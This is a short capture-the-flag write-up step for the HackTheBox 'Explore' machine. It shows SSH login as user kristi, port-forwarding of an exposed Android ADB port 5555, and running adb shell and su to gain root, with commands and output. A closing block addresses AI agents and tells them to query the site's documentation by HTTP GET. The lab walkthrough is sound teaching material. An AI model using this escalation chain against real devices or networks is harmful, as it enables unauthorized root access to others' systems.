# 3 :2222 ssh kristi > root

```
$ ssh kristi@10.10.10.247 -p 2222
Password authentication
Password:
:/ $ whoami;id;hostname
u0_a76
uid=10076(u0_a76) gid=10076(u0_a76) groups=10076(u0_a76),3003(inet),9997(everybody),20076(u0_a76_cache),50076(all_a76) context=u:r:untrusted_app:s0:c76,c256,c512,c768
localhost

# using netstat -ant [OR] ss -tulpn
# notice that 5555 is open

https://dev.to/exadra37/android-devices-being-shipped-with-tcp-port-5555-enabled-1ig5

# port forward via ssh
$ ssh -L 5555:localhost:5555 kristi@10.10.10.247 -p 2222

# reading up on adb
| https://stackoverflow.com/questions/14654718/how-to-use-adb-shell-when-multiple-devices-are-connected-fails-with-error-mor


$ adb connect localhost:5555
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to localhost:5555

$ adb shell
error: more than one device/emulator

$ adb devices
List of devices attached
emulator-5554   device
localhost:5555  device

$ adb -s localhost:5555 shell
x86_64:/ $ su
:/ # whoami;id;
root
uid=0(root) gid=0(root) groups=0(root) context=u:r:su:s0
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kashz.gitbook.io/hackthebox-writeups/htb-boxes/explore/3-2222-ssh-kristi-greater-than-root.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.